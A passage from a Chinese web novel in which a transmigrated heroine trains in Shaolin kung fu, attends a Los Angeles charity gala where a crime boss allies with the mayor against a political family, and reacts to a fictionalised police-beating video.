“你啊,年纪轻轻,却说话老成,行事敞亮。”陈振华笑着摇摇头,“对了,我唐人街那间武馆,场地大,器材也全,木人桩、沙袋、兵器架都齐。你和袁杰以后要是练功夫,随时都能过去,不用跟我客气。” 菲伊闻言喜笑颜开,当即对着陈振华拱手作揖,学着习武之人的礼数郑重谢道: “那可真是求之不得,晚辈在此先谢过陈老!我正愁没个正经场地学武,在家又怕打扰到邻居和家人,这下可算是解了燃眉之急。” 60.第60章 三天后,袁杰正式加入《落水狗》剧组。 劳伦斯和昆顿都是直来直去的性子,整个剧组也没好莱坞常见的论资排辈和勾心斗角,见袁杰话少却手脚勤快,第一天就抱着分镜本蹲在片场角落改动作设计,连盒饭都顾不上吃,心里先认可了三分。 没人揪着他的华人身份说三道四,也没人拿他做女武替的过往打趣,不过两三天功夫,袁杰就融进了这群脾气相投的人里,脸上常年带着的局促都散了大半。 他也确实有真本事。几场仓库对峙的打斗戏,原先演员们全靠蛮力瞎比划,拍出来杂乱无章,镜头感一塌糊涂。 袁杰来了之后,从出拳的角度、闪避的步伐到倒地时的受力位置,一点点抠细节,亲自上阵陪演员套招,拳拳到肉却又处处卡着安全分寸。 几场戏拍出来,镜头里的动作凌厉干脆,既有真实的狠劲,又藏着武术的章法,质感直接往上跳了两个档次。 惹得昆汀激动地拍他肩膀,连声喊“太棒了”,说请他比请大牌客串还值。 另一边,菲伊的练功日程也正式铺开。 第一次正式测根骨那天,袁杰让她做了几组压腿、折返跑和静力支撑,越测眼神越亮。 等菲伊收了势,他才摸着下巴,脸上露出明显的意外和惊喜: “你身体素质比我预想的好太多。柔韧性、爆发力都远超同龄女孩,肌肉耐力和核心力量,差不多能赶上专业田径队的姑娘了。你小时候真的没正经练过?” 菲伊擦了擦额角的汗,笑着把早已备好的说辞搬出来:“小时候跟着一个长辈瞎练过几年拳脚,算不上正经基础。” 嘴上说得轻松,心里却暗自犯嘀咕。 她刚穿来的时候,这具身体就是普通十六岁女孩的底子,弱得很。这大半年除了偶尔奔波,并没正经锻炼过,身体素质能涨得这么快,多半和几次租借他人能力脱不了关系。 她趁休息时在心里问了系统。 系统回得很干脆:【每次能力租借都会对宿主身体产生不同程度的渗透影响,正面增益与负面负荷并存。影响的留存与转化方式,需宿主自行摸索。】 说白了,它只管租借能力,不管“售后”。银货两讫后,是好是坏,全靠自己消化。 菲伊无奈地扯了扯嘴角,倒也没太意外。 这本就是等价交换的事,目前来看,许多能力使用后短期内对身体负荷大,但从长期来看,似乎或多或少地留下了些许正面增益,这么算来,是她赚了。 袁杰办事十分靠谱,摸清了菲伊的底子和需求,不过两天就拿出了一套完整的训练计划。 “你要学习实战防身,提高奔袭攀爬技能,从少林基础功入手最稳妥。” 他指着写满工整字迹的本子说道,“前期主打筑基,外修罗汉拳入门、基本棍法,同时以飞行功法打好轻功底子,内修则从少林童子功开始,培固元气。 等基础打牢了,中期练罗汉拳中阶、棍法实战,再加刀、枪、剑等便携器械。后期内修转易筋经,拳法精修,飞行功和壁虎功往高阶练,最后把各项功夫融会贯通。” 计划不贪快、不搞花架子,每一项都冲着“实用”二字去,连进阶的标准和注意事项都标得明明白白。 菲伊翻了两页,见每页都写得一丝不苟,当下便点头应了。 自此,菲伊彻底告别了睡懒觉的日子。 每天清晨五点半,天刚蒙蒙亮,她就套上五斤重的沙衫,小腿各绑 两斤沙袋,从家里出发,一路往唐人街的振武社跑。 晨跑全程20多公里,速度和负重都按袁杰的要求循序渐进,不图一时快,只求呼吸不乱、步伐沉稳。 跑到武馆时,额角的汗已经打湿了额发,沙衫沉得像浸了水。 稍作休整就是柔韧训练,压腿、劈叉、开肩,一点点抻开筋骨,疼得额角冒冷汗也咬牙撑着。 接着是站桩,四平马一站就是一刻钟,起初腿抖得像筛糠,全靠意念稳住身形。 站完桩紧接着踢腿,正踢、侧踢、弹踢、里合、外摆,每条腿百次起步,练到腿肚子发僵、脚尖发麻才歇。 指力训练也半点不含糊。两掌与脚尖撑地,身体绷成一条直线,前后伸缩全靠指掌发力,每组十次,一天三组。 起初做两组就指尖发麻,掌心里的薄茧磨了又长,慢慢变得厚实坚硬。 下午是拳法和棍法。 罗汉拳一招一式,袁杰都亲自示范,抠手型、调身法,错一个细节就让她重来,半点不含糊。 棍法则从最基础的劈、扫、戳、挑、撩、抡练起,一根白蜡杆握在手里,起初总不听使唤,练到手腕发酸、虎口发红也不肯停。 中间休息的间隙,就按着袁杰教的吐纳法门调整呼吸,沉心定气。 到了晚上,先做全套拉伸放松紧绷的肌肉,再在浴缸里加入袁杰托陈老准备的药包,进行药浴。睡前再练一遍童子功十六势,收气归元,才算结束一整天的训练。 日子过得紧绷又充实,汗水浸透了一件又一件练功服,可菲伊半点没喊过苦。 她比谁都清楚,系统借来的本事终究是外物,只有长在自己骨血里的力气和功夫,才是谁也拿不走的底气。 61.第61章 10月31日的万圣节夜,整个洛杉矶市都沉浸在一片鎏金与暖橙交织的光海里。 加长林肯、凯迪拉克弗里特伍德、保时捷911……各色豪车沿着圣莫尼卡大道,源源不断地涌向一座醒目的巴洛克建筑——费尔法克斯酒店。 又一辆黑色林肯平稳停在阶前。 侍者快步上前拉开车门,香槟色裙摆先探出来,紧接着是凯瑟琳笑盈盈的脸。她发间别着枚小巧的南瓜钻饰,晃了晃才站稳,回头伸手去扶车里的人。 菲伊紧跟着弯腰下车,墨色丝绒吊带裙落在脚踝上方,肩线处极细的银线随着动作闪过一点星芒。晚风卷着夜凉吹过来,她抬手拢了拢肩侧碎发,抬眼望向这座灯火通明的老牌酒店。 她对派对晚宴什么的一向不感冒,今晚本打算窝在家里练拳看书,可她等听说这场晚宴会有不少好莱坞经纪公司高层、制片人与院线负责人参加,她立刻改了主意。 《落水狗》的拍摄快要结束了,后续发行、宣传全是要人脉的事,她现在的公司名不见经传,环球、索尼那样的巨头肯定够不上,能结识几家中型发行公司和地区院线的负责人,就是实打实的收获。 出门前她特意翻出早就制作好的名片,米白色哑光纸,正面只印着“温斯洛投资管理有限公司CEO菲伊·温斯洛”的字样,背后是她公司的地址和联系电话。 原本她以为这只是凯瑟琳从别处得到的邀请函,来的路上才知道,这家酒店是凯瑟琳母亲家族的产业,全美连锁,现在由她的二舅舅罗伯特·费尔法克斯打理,而今晚的慈善晚宴,正是费尔法克斯家举办的,阿利斯泰尔也会来。 菲伊听后,忍不住在心里感叹一番:果然,有钱人只会和有钱人联姻,盘根错节缠在一起,最后只会越来越有钱。能和布鲁姆家结亲的家族,根基绝对不会浅。 走进宴会厅,水晶灯的光倾泻下来,香槟塔泛着细碎的光,侍者端着托盘穿行在人群里,觥筹交错声混着低低的交谈声。 凯瑟琳带着她穿梭在人群中,凭着费尔法克斯家外甥女的身份,很容易就搭上了几家西海岸地区院线的负责人,还有两家中型独立发行公司的副总。 菲伊很有自知之明,绝口不提大厂和资源,只顺着对方的话聊独立片的发行出路、小众题材的受众定位,偶尔点几句未来影院下沉、分线发行的思路,再提两句精准营销的玩法。 她年纪轻,说起行业趋势却言之有物,半点不像是凭空瞎扯。 不少人原本只是看在凯瑟琳面子上寒暄几句,聊着聊着反倒认真了,看她的眼神里多了几分欣赏,纷纷主动交换了名片,有位发行总监甚至半开玩笑地说:“要不是你还没成年,我都想挖你过来做市场总监了。” 晚宴正式开始前几分钟,人群忽然安静了一瞬。 罗伯特?费尔法克斯和阿利斯泰尔并肩从主厅侧门走了进来。 菲伊顺着目光望过去,正好看见两道并肩走来的身影。 走在前面的是罗伯特·费尔法克斯。谁也看不出这男人已经48岁,身形挺拔,不见半点中年发福的迹象。眉眼和凯瑟琳有几分相似,眼尾笑起来时泛出几条极淡的细纹,但不显老态,反倒添了几分成熟男人的韵味。 一路走过来,他都会和两边的宾客颔首打招呼,嘴角始终噙着笑,没有半分豪门上位者的架子,反而像个玩世不恭的风流公子。 他身侧阿利斯泰尔同样十分惹眼,同样一身定制西装,冷峻的面容在灯光下显得愈发清贵,他似乎天生就该站在人群中心,明明没什么多余的动作,周身却自成气场。 他的目光扫过人群,在触到菲伊的刹那,极淡地顿了半秒,又很快移开。 致辞环节比预想中轻松随意。罗伯特握着话筒往台上一站,先笑着开了句玩笑:“今晚本来该扮成吸血鬼出来应景,怕吓着各位女士,只好穿得正经点。” 底下响起一阵低笑,气氛当即松快下来。他三言两语点明慈善晚宴的用途,没有半句官样文章,短短两分钟便结束了开场。 随后便是慈善拍卖环节。拍卖物品都是些名人捐赠的首饰、画作和限量藏品,出价都不算夸张,重在公益名头。 等拍卖落槌,侍者们推着餐车就位,自助晚宴正式开始。 “走,我带你去见见我舅舅。”凯瑟琳端着香槟杯,兴冲冲地拉着菲伊往人群中心走。 罗伯特正和几位商界人士说笑,见她们过来,立刻结束了话题,目光落在菲伊身上,笑着开口:“这位就是菲伊·温斯洛小姐吧?久仰大名。” 菲伊微微一怔,礼貌颔首:“费尔法克斯先生您好,我是菲伊?温斯洛。” “叫什么先生,太见外了。和凯瑟琳他们一起叫我罗伯特就行。” 罗伯特摆摆手,笑吟吟道,“我早就听过你!先是救了我这不省心的外甥女,后在凯撒赌场一鸣惊人,今天一见,果然是英雄出少年,智勇双全!” 这话一出,菲伊和凯瑟琳都愣住了。 菲伊偏过头,用眼神问凯瑟琳:你跟你舅舅说过这些? 凯瑟琳立刻瞪圆了眼睛,拼命摇头,用眼神回她:我没有啊!我都没提过赌场的事! 两个小姑娘互相递眼神的小动作,看得罗伯特朗声大笑:“不是凯瑟琳说的。而是——” 他故意拖长音,然后意有所指地偏过头,看向正朝他们走来的阿利斯泰尔。 菲伊顺着他的目光转头,撞进阿利斯泰尔灰蓝色的眼眸里。 男人似乎听到了她们的对话,清了清嗓子,脸上闪过一丝不自在,尔后低声朝菲伊解释道:“之前我拜托舅舅查曼尼奇的底细,提了你的事。那人背后牵扯不少,最好提前摸清。” 原来是这样。 菲伊心里微微一暖。能赢下那场赌约,少不了阿利斯泰尔的帮忙,没想到他连后续的隐患都替自己考虑到了,还特意托了舅舅去查。 “谢谢你,阿利斯泰尔。”她语气郑重,又朝罗伯特微微欠身,“也麻烦费尔法克斯先生费心了。” “举手之劳。”阿利斯泰尔垂眸看她,长睫在眼下投出一点浅影,“朋友之间,不用这么客气。” “对啊!”罗伯特笑着拍了拍阿利斯泰尔的肩膀,转头冲菲伊眨眨眼,“都说了喊我罗伯特就行,一口一个先生的,听得我都觉得自己老了十岁。” 菲伊弯了弯眼:“是我口误。罗伯特,多谢您费心了!” “这就对了嘛。”罗伯特咧嘴一笑,眼底促狭更甚,“说实话,我还是头一回见阿尔对家人以外的人这么上心。小菲伊,光口头感谢可不够意思,怎么也得请吃顿饭吧?” 阿利斯泰尔眉头微蹙,刚要开口说“不必这么麻烦”,菲伊已经先一步笑了,爽快应道:“那是当然!本来就该我做东好好谢谢二位。” “哎呀,你们年轻人的饭局,我掺和进去多没意思。”罗伯特摆着手大笑,“不用请我,你和阿尔单独约就行!” 几人正说着,身后传来一道不高不低的男声,“费尔法克斯先生,什么事这么开心?说出来也让我们听听?” 罗伯特脸上的笑容倏地收了一瞬。他转过身,脸上重新挂起得体的笑,目光落在来人身上, 语无波澜道:“洛克先生?我还以为你今晚不会赏光。” 走过来的是米奇·洛克,身边挽着个高挑金发的名模。 男人身材矮壮结实,黑发梳向脑后,浓眉下是双深邃锐利的眼睛。他袖口扣得严丝合缝,指尖干净修长,连捏香槟杯都只碰最细的杯脚,浑身上下透着股近乎偏执的整洁。 洛克扯唇一笑:“你这话说的!邀请函送到我府上了,我不来不就是不给你费尔法克斯面子?当然要来了!” 罗伯特可不信他这鬼话。 洛杉矶上层圈子谁人不知,他和洛克两人素来不对付。他瞧不上洛克一身脏污的发家史,觉得他身上每一分钱都沾着血;洛克同样看不惯罗伯特出身名门爱摆谱,认定他是个靠祖宗荫蔽的二世祖。 平日两人井水不犯河水,正式场合都默契地避开彼此。他给洛克送邀请函,只不过是走个形式而已,谁知道,他这回竟一改常态地出席了。 阿利斯泰尔看到洛克的一刻,几乎是下意识地往菲伊的前方迈了半步,半边身子挡住洛克望过来的视线,然后压低声音,语速极快地对菲伊和凯瑟琳说: “这人是米奇·洛克,曼尼奇背后的大老板,洛克集团的掌权人。他今晚出现在这里恐怕另有目的。你和凯瑟琳先去楼上贵宾休息间等我,别留在这儿。” 菲伊心头微凛,指尖轻轻碰了碰凯瑟琳的手腕,刚要借着转身的动作往后退,洛克的目光却已经扫了过来,精准地落在她身上。 “等等。”他抬了抬手里的香槟杯,对着菲伊的方向举了举,嘴角扯出一点没什么温度的笑,“这位美丽的小姐看着有些面生,不知道我有没有荣幸知道芳名?” 看来走不掉了。 菲伊脚尖一转,索性从阿利斯泰尔身后走出来,大大方方道:“你好,洛克先生,我是菲伊·温斯洛。” “菲伊·温斯洛。” 洛克把名字慢悠悠地念了一遍,先是故作惊讶地挑了挑眉,随即目光肆无忌惮地从上到下打量她,好似在打量一件货物。 “原来你就是温斯洛小姐。我那没用的下属,前段时间多有冒犯,给你添麻烦了。我这个做老板的,替他给你赔个罪。” 他说着,抬手叫住路过的侍者,从托盘上取下一杯香槟,指尖捏着纤细的杯脚,往菲伊的方向递了递,带着种不容拒绝的强势道: “这杯酒,算我赔罪。温斯洛小姐赏个脸?” 62.第62章 菲伊还没动,一只手先伸了过来,稳稳截住了那杯香槟。 阿利斯泰尔侧过身,护在菲伊面前,抬眼迎上洛克的目光:“她还未满十八岁,不能饮酒。洛克先生,您若想喝酒,我陪您喝。” 洛克脸上的笑意倏地淡了下去。他收回手,从西装口袋里摸出一方素白的方帕,慢条斯理地擦了擦刚才碰过杯沿的指尖,仿佛碰到什么脏东西似的。 抬眼再看向阿利斯泰尔时,棕褐色的瞳孔里满是毫不掩饰的轻蔑:“你是谁?轮得到你来接我敬的酒?” “他怎么没有资格?”罗伯特站到阿利斯泰尔身侧,脸上依旧挂着笑,眼神却冷了几分,“这是南方信托的总裁,阿利斯泰尔·布鲁姆,也是我的外甥,你说有没有资格喝你这杯酒?” “哦,原来是布鲁姆家的继承人啊。”洛克扯了扯嘴角,脸上没半分意外的神色,显然早就知道他们的身份,刚才不过是故意刁难。 他抱着胳膊,目光在阿利斯泰尔身上转了一圈,话锋一转,“可那又如何?这里是洛杉矶,不是亚特兰大。布鲁姆家的规矩,在这儿未必管用。” 气氛骤然紧张。 周遭的宾客都察觉到了不对劲,说笑声不约而同地小了些,纷纷往这边投来目光,连宴会厅里的音乐都仿佛轻了几分。 阿利斯泰尔眼中的寒意渐深,握着酒杯的手指微微收紧。 罗伯特嘴角的笑意也消失了,他刚要开口,宴会厅正门的方向忽然传来一阵骚动。 人群像是被无形的手分开,几道身影簇拥着一个男人走了进来。 男人身量中等,宽额头下是一双深陷的眼窝,颧骨偏高,深蓝色双排扣西装裹着微微隆起的腹部,酒红色领结打得端正刻板,刚好卡在喉结下方。 他脸上带着恰到好处的笑容,眼睑半垂着,遮住了瞳孔里转动的算计。 罗伯特的眉峰微不可见地蹙了一下,心道:怎么连他也来了? 来人是皮特·布朗,现任洛杉矶市长,上个月刚正式宣布参与1991年的加州州长竞选,是他的兄长威廉?费尔法克斯最强劲的竞选对手。 这场宴会他并未邀请皮特·布朗,当然不是因为双方是竞争对手,而是按照惯例,对方作为市长要出席今晚的市政晚宴。 谁料这会儿居然不请自来。 疑惑只在罗伯特的脸上停留了半秒,便被恰到好处的熟稔笑意覆盖。 他抬手理了理颈间的真丝领巾,快步迎了上去,姿态热络得像见了多年老友:“布朗市长,什么风把你这位大忙人吹过来了?事先也不打个招呼,我也好亲自到门口接你。” 皮特·布朗笑着伸出手,两人掌心一触即分,力道不轻不重,分寸拿捏得堪称完美。 他目光扫过全场,脸上露出政客惯有的亲民与热络:“我刚从市政厅的筹款晚宴脱身,听说你这儿办的是公立教育慈善拍卖,这么有意义的事,怎么能缺席?正好前阵子得了件华国明代的青花瓷瓶,搁我办公室也是落灰,索性借花献佛,捐出来凑个热闹,也算为加州的孩子们尽份力。” 他话音落下,身后的助理立刻上前一步,手里捧着个紫檀木锦盒。盒盖掀开一角,露出里面莹润泛光的青花缠枝纹,釉色温润,一看便知是价值不菲的珍品。 周遭的宾客都识趣地放低了声音,端着酒杯遥遥观望。 在场谁不是人精,心里都明镜似的。 费尔法克斯家和布朗家是明年州长竞选的死对头。 一边是扎根加州近两百年、横跨政商学三界的老牌世家,现任联 邦参议员威廉?费尔法克斯呼声居高不下;另一边是深耕洛杉矶多年的现任市长,手握实权,选民底盘稳固。 两家人明面里维持着体面,暗地里早已角力无数,今天皮特不请自来,哪里是为了什么慈善,分明是上门叫阵。 罗伯特脸上笑意不变,软中带硬地挡了回去: “市长先生有心了,能得到您的支持,是这场慈善晚宴的荣幸。 只是不巧,拍卖环节刚刚结束,再重启流程有些不便,恐怕会扰了大家的兴致。您的好意我们心领了,瓷瓶这么贵重的东西,还是请您收回吧。” 哪知话音甫落,一旁的米奇·洛克却插话道:“费尔法克斯先生这就太拘泥形式了。做慈善本是随心的事,哪分什么先后早晚?不过嘛……重新开拍卖确实麻烦,犯不此兴师动众。” 他顿了顿,抬眼看向皮特,嘴边笑意更深了些:“不如这样,这件瓷瓶,我出两倍市价买下来,善款照样捐给基金会。既不耽误各位的雅兴,也算圆了市长的一片善心,怎么样?” 一句话轻描淡写,却像块石子投入平静的湖水中,在宾客间激起一圈无声的涟漪。 罗伯特脸上的笑容淡了几分,侧头与阿利斯泰尔交换了一个眼神。两人只对视了半秒,便都从对方眼底读到了相同的答案: 这两人联手了。 此前米奇·洛克对明年的州长大选态度暧昧,从未明确站队,谁也没料到他会突然倒向皮特?布朗。 今天这一出哪里是什么临时起意的慈善捐赠,分明是两人早就串通好的戏码。 一个借慈善之名上门立威,一个当场砸钱捧场面,一唱一和之间,就是当着全洛杉矶名流的面,明明白白划下道来——他米奇·洛克,已正式站在了皮特·布朗的阵营。 63.第63章 二楼贵宾休息间里燃着淡淡的橙花香薰,暖黄壁灯落在深酒红色丝绒沙发上,茶几上摆着没动过的香槟杯和几碟精致的马卡龙。 凯瑟琳坐不住,时不时在房间里来回踱步。菲伊还算淡定,坐在沙发上翻开着报纸。 没过多久,门外响起敲门声。 菲伊起身走到门边,透过猫眼往外看,见是阿利斯泰尔,才拧开黄铜门锁。 “怎么才上来?”凯瑟琳立刻迎上去,“晚宴结束了?” “刚结束。”阿利斯泰尔走进来,随手带上门,衬衫领口解开了一颗扣子,脸上添了几分倦意。 凯瑟琳拉着他坐下,急着追问:“那个布朗市长到底怎么回事?我看他一进来,舅舅脸色都不对了,那人是来砸场子的吧!” 她直觉向来准,这话一出口,菲伊也抬眼看向阿利斯泰尔。她清楚这是费尔法克斯家族的内部事务,自己在场多有不便,便站起身轻声道:“你们聊,我去外面透透气。” 才说完,就被阿利斯泰尔叫住了:“你留下吧,接下来要说的事,也和你有关。” 菲伊脚步一顿,也不扭捏,从善如流地重新坐下。 阿利斯泰尔清了清嗓子,缓缓开口道:“皮特·布朗是现任洛杉矶市长,上个月正式宣布参选明年的加州州长。他是威廉舅舅最大的竞选对手。” “我说呢,好端端的不请自来。”凯瑟琳冷哼一声,抱着胳膊靠在沙发背上,“合着是上门示威来了。那刚才那个洛克呢?他又是什么来头?我看他跟那个布朗一唱一和的,刚才还故意刁难菲伊,一看就不是什么好人!” “你说的没错,米奇·洛克不是善茬。”阿利斯泰尔回道。 “洛克集团对外包装成正经财团,旗下有洛克影业、西海岸娱乐地产、凯撒赌场等产业,还有跨州物流运输公司,看起来生意铺得很广。 实际上,好莱坞的黑钱洗白、地产项目的敲诈勒索,甚至洛杉矶到墨西哥的几条核心毒品运输走廊,大半都攥在他手里。” “毒品?”凯瑟琳睁大眼睛,难以置信道,“这么大一颗毒瘤,警方和联邦调查局就眼睁睁看着,没人管吗?” “没那么简单。” 阿利斯泰尔摇头,“他在洛杉矶经营了近30年,早就织成了一张密不透风的网。政治献金、贿赂、权色交易,市政、警局、地方法院里都有他的人。 背后势力盘根错节,牵一发而动全身,想动他太难了。更重要的是,只要这片滋生黑恶的土壤还在,倒了一个洛克,还会有下一个人顶上来。” 他顿了顿,语气里多了几分郑重:“威廉舅舅之所以执意竞选州长,很大一部分原因,就是想从规则层面动一动这套烂根子。只是这条路,并不好走。” “话说回来,”阿利斯泰尔沉吟片刻,蹙眉道,“米奇·洛克向来滑头,以前从不在明面上站队任何政治派系,表面上都是谁都不得罪,保持中立。但这次却突然撕破脸,公然站队皮特,属实有些令人意外。” 菲伊听到这里,眉头微微皱起,开口问道:“会不会……是因为我?毕竟我在凯撒赌场闹得有点大……” “不是你的原因。” 阿利斯泰尔几乎是立刻摇头,眼眸定定看向她,“起初我也以为他今晚是冲你来的,直到皮特·布朗出现,我才确定,他的目标从一开始就是整个费尔法克斯家族。 你和曼尼奇那点矛盾,在他眼里算不上什么。他这种人,不会为了一个下属的颜面,就把自己的政治立场摆到台面上。他敢公然撕破脸,只能是核心利益被触碰了。” 与此同时,酒店外的林荫道上,一辆加长款劳斯莱斯防弹车正平稳地驶离环岛。 车内光线昏暗,只有路边掠过的霓虹,时不时在黑色真皮座椅上扫过一道冷光。 米奇·洛克坐在后座,正用一块雪白的真 丝手帕仔细擦着手指。皮特·布朗坐在他身侧,身体微微后仰,手指搭在扶手上,一派轻松惬意的模样。 “……我还不至于为了曼尼奇那点上不了台面的小事,来找一个小姑娘的茬。” 洛克把手帕叠得整整齐齐,放回西装内袋,冷冷道,“上个月,我南边的一条核心运输链被人端了,货和人折了大半,损失不小。” 布朗闻言挑眉,他自然知道洛克嘴里的“运输链”不是什么普通物流。 他饶有兴致地侧过头:“哦?费尔法克斯家的手伸得这么长?都摸到你南边的地盘上去了?” “不是费尔法克斯。”洛克的表情扭曲了一瞬,“是他们家那个好外甥,阿利斯泰尔·布鲁姆。” “就是今晚跟在罗伯特身边那个年轻人?”皮特略一思索便想了起来,“布鲁姆家的继承人,亚特兰大来的那个?我没记错的话,他母亲是费尔法克斯家的小女儿。” “就是他。”洛克点头,“他打着来洛杉矶谈投资的旗号,本质上还是帮他舅舅铺路,为明年大选攒政绩筹码。” “费尔法克斯和布鲁姆家是姻亲,两家联手,倒也正常。”布朗冷哼一声,面上带着几分阴鸷,“威廉在国会山有人脉,布鲁姆家有资本,合在一起,确实是个劲敌。” “我倒怕他们不联手。”洛克唇角扯起一抹冷意。 “他们利益捆绑得越深,越方便我们一网打尽。退一步讲,就算没有布鲁姆,我也不能让威廉·费尔法克斯当选。他是什么做派,我早有耳闻。 他要是真当上州长,第一个开刀的就是我的产业。与其等他动手,不如我与你联手,让他永远没有那个机会!” “说得好。”布朗朗声笑了起来,举起手边的威士忌酒杯,“有洛克先生的财力和人脉支持,明年这一仗,我们胜算就大多了。合作愉快。” 洛克也端起酒杯,勾起唇,“合作愉快!” 64.第64章 万圣夜,凌晨两点。 洛杉矶的狂欢正渐渐退潮。好莱坞西区的派对陆续散场,偶尔能看到几个醉醺醺的年轻男女,勾肩搭背地在人行道上晃荡。 此刻的南中央大道早已陷入沉寂,空旷的街道上,只有零星几辆车子驶过。 突然,一道黑色汽车飞速窜过路口。 红灯亮起,汽车却不见丝毫减速,引擎轰鸣着直冲过去,尾灯在夜色里拖出两道残影。 两辆巡逻车立刻拉响警笛,加速追了上去,不久便在第四个路口,一前一后将黑色汽车逼停。 车门被粗暴拽开,黑人青年艾伦?布鲁踉跄着摔了出来。他刚从朋友的家庭派对离场,浑身酒气,脚步都站不稳。 四名白人警员二话不说围上去,拧着他的胳膊就按在引擎盖上。 争执声骤然响起,紧接着是警棍砸在□□上的闷响与青年的惨嚎,穿透凌晨空旷的街道,清晰传向远处。 不远处一栋公寓二楼的阳台上,杰森?金正举着刚买的DV机,给朋友们录制派对收尾画面。 镜头无意间扫过路口的骚动,他心头一动,好奇地拉近焦距。看清画面的瞬间,杰森吓得屏住了呼吸,握着DV机的手僵在半空。 画面里,艾伦抱头蜷缩在地,四名警员轮番上前,挥动警棍持续殴打,没有片刻停手。 整整81秒,录制画面因为他手抖晃得厉害,却清清楚楚地把警察施暴的全程记录下来。 次日傍晚。 索尔家客厅,菲伊正陪着索尔夫妇收看KTLA晚间新闻。 马丁翻着《洛杉矶时报》,佩妮坐在旁边织披肩,原本温馨的氛围,被主播忽然变得凝重的语调打破: “本台收到市民独家爆料,昨日凌晨,洛杉矶警方在南中央大道截停一名超速黑人男子,现场执法视频引发巨大争议。” 随着主持人的播报,屏幕“唰”地切出了那段81秒的录像画面。 青年抱着头缩在地上,四名警察轮番上前挥棍殴打,动作近乎泄愤,丝毫没有停手的迹象。 菲伊端着水杯的手猛地一颤,水珠险些泼洒出来。她怔怔地盯住屏幕里的画面,脑中嗡然一响,零碎的前世记忆不受控地翻涌上来。 这不正是著名艾伦?布鲁事件,1991年洛杉矶“天使陷落”的导火索吗?!(1) 她居然把这茬给忘了。 上辈子她虽然没有亲眼见证过这桩历史事件,可此事太具代表性了,被许多科普视频、键政up主反复提起,她刷视频刷到过不下三五次。但毕竟是隔着屏幕吃的陈年旧瓜,如果不是此刻看到这实打实的原始录像,她估计这辈子都很难再想起来。 九十年代那场震惊全美的大暴乱,源头就是万圣夜的这桩暴力执法案。 后续的司法不公,更是彻底点燃积压已久的种族矛盾,整个洛杉矶烧杀抢掠乱成一锅粥,经济硬生生倒退好几年。 历史的车轮半分没偏,准时抵达了这个关键节点。 “太过分了,人都倒下了怎么还能下这么重的手。”佩妮皱着眉摇头,“就算超速违规,也不该这么打人啊。” 马丁也沉着脸道:“LAPD的暴力执法是老毛病了,南洛杉矶那边年年都有投诉,只是这次被拍下来摆到台面上。” 菲伊没搭话,她咬了咬下唇,大脑飞速运转。 她比任何人都清楚,这段81秒的视频,只是第一块倒下的多米诺骨牌。 接踵而至的舆情发酵、司法拉锯,直到最终判决引爆全城暴动,会把整个洛杉矶拖进泥沼。 而对于正在竞选州长的皮特·布朗来说,这是他的执政危机,却是竞争对手最好的突破口。一旦应对失当,他的仕途会直接断送! 想到这里,菲伊再也坐不住了。 “我上楼看书了,今天的学习任务还没完成呢!”她尽量以平静的口吻跟索尔夫妇打过招呼,快步上了二楼。 关上门后,她径直走到床头柜边,拿起那台摩托罗拉,毫不犹豫地拨通了阿利斯泰尔的号码。 电话只响了两声就被接起,男人低沉的嗓音带着几分不易察觉的关切:“菲伊?怎么这个点打电话过来,是出什么事了吗?” “你看到晚间新闻了吗?万圣夜LAPD殴打黑人青年的视频。” 菲伊没有绕弯子,单刀直入,“这件事如果操作得好,说不定能重创皮特·布朗。他现在肯定会想办法压消息、捂住媒体的嘴,可越是压,民众的反弹就会越厉害。” 电话那头沉默了两秒,阿利斯泰尔才缓缓道:“你专心准备谢菲尔德的申请和你的电影就好,竞选的水太深,牵扯的人和势力太复杂,别往里掺和。布朗和洛克的人都没有底线,真被 逼急了什么下三滥的手段都使得出来。你没有必要趟这趟浑水。” “已经晚了。”菲伊走到窗边,望着楼下街道上驶过的巡逻警车,冷静道,“从凯撒赌场赢了曼尼奇,从你和罗伯特出面帮我说话的那天起,我就不可能和你们划清界限了。 洛克不会把我当成无关的普通人,真要动手对付费尔法克斯家,我这种没背景的小角色,只会被他们视作可以随意拿捏的软柿子。与其被动等着被别人当棋子,不如主动出击。只有他们垮了,我才算真的安全。” 电话那头陷入了长久的沉默,只有极轻微的呼吸声透过听筒传过来。阿利斯泰尔似乎被她说中了心事,又或是在权衡其中的风险。 就在菲伊以为他还要再劝的时候,低沉的声音再次响起:“好。我会让人盯紧艾伦?布鲁事件的所有进展。你答应我,绝对不要贸然往前冲,有任何需要第一时间告诉我。保护好自己。” “我知道分寸。”菲伊轻声应下。 挂断电话,菲伊伫立窗边片刻。洛杉矶的夜色依旧流光溢彩,霓虹顺着街道蜿蜒向远方,可她知道,这平静的表象之下,暗流已经开始翻涌。 另一边。 阿利斯泰尔结束通话后,沉思片刻,拨通了舅舅威廉·费尔法克斯的私人专线。 “阿尔?怎么突然给我打电话了?” “舅舅,昨日凌晨,LAPD四名白人警员当街殴打一名黑人青年,被市民用DV拍了下来,今晚KTLA已经播出了。” 阿利斯泰尔语速极快,没有寒暄,也无半句废话,“皮特·布朗应该开始采取行动了,大概率会压本地媒体,把事件定性为拒捕袭警。有人提醒我,这件事舆论张力极强,处理好了会是皮特竞选路上的一大绊脚石。” 威廉原本正伏案书写,听完阿利斯泰尔的话后,笔尖顿了顿。他素来了解外甥,心思缜密,从不无的放矢,既然特意打电话过来,足以证明此事的分量。 “我知道了。”威廉的语气瞬间沉了下来,带着政坛老手的果决,“我会让洛杉矶的团队跟进这事的,留存所有原始影像和证人线索,盯紧布朗的每一步动作和民情舆论走向。你在洛杉矶也多留意,有任何异动随时联系。” “明白。”阿利斯泰尔应下,挂了电话后,他缓缓走到落地窗前,望向市中心的方向,眼底是深不见底的幽邃。 65.第65章 随着新闻和舆论的进一步发酵,市长办公室的气氛越来越紧绷。 皮特·布朗坐在大班椅上,盯着桌面上的录像带拷贝,脸色阴沉得能滴出水。 他刚在费尔法克斯家的慈善晚宴上正式向费尔法克斯家宣战,转头就撞上个这么烫手的山芋! 这事要是继续闹大,他这个现任市长首当其冲,支持率得直接跳水。 底下真是养了一帮废物! “接哈兰·沃克的电话。” 他抄起内线,脸色无比阴沉,“另外联系KTLA台长,告诉他们,这段视频立刻给我停播,不准再扩散半分。 本地所有媒体统一口径:嫌疑人超速拒捕、先动手袭警,警方是合法执法。让司法团队连夜出定性报告,明早通稿必须铺满所有媒体平台!” 洛杉矶警局长哈兰·沃克接到指令,当天夜里紧急召开了临时发布会,当场亮出艾伦·布鲁的酒驾和闯红灯记录,一口咬定这人“暴力袭警,威胁警员生命安全”,四个警察的行为“完全符合执法规范”。 很快,本地媒体齐刷刷闭了嘴,KTLA火速撤下原始视频,后面的报道全换了调子,清一色替警方说话。 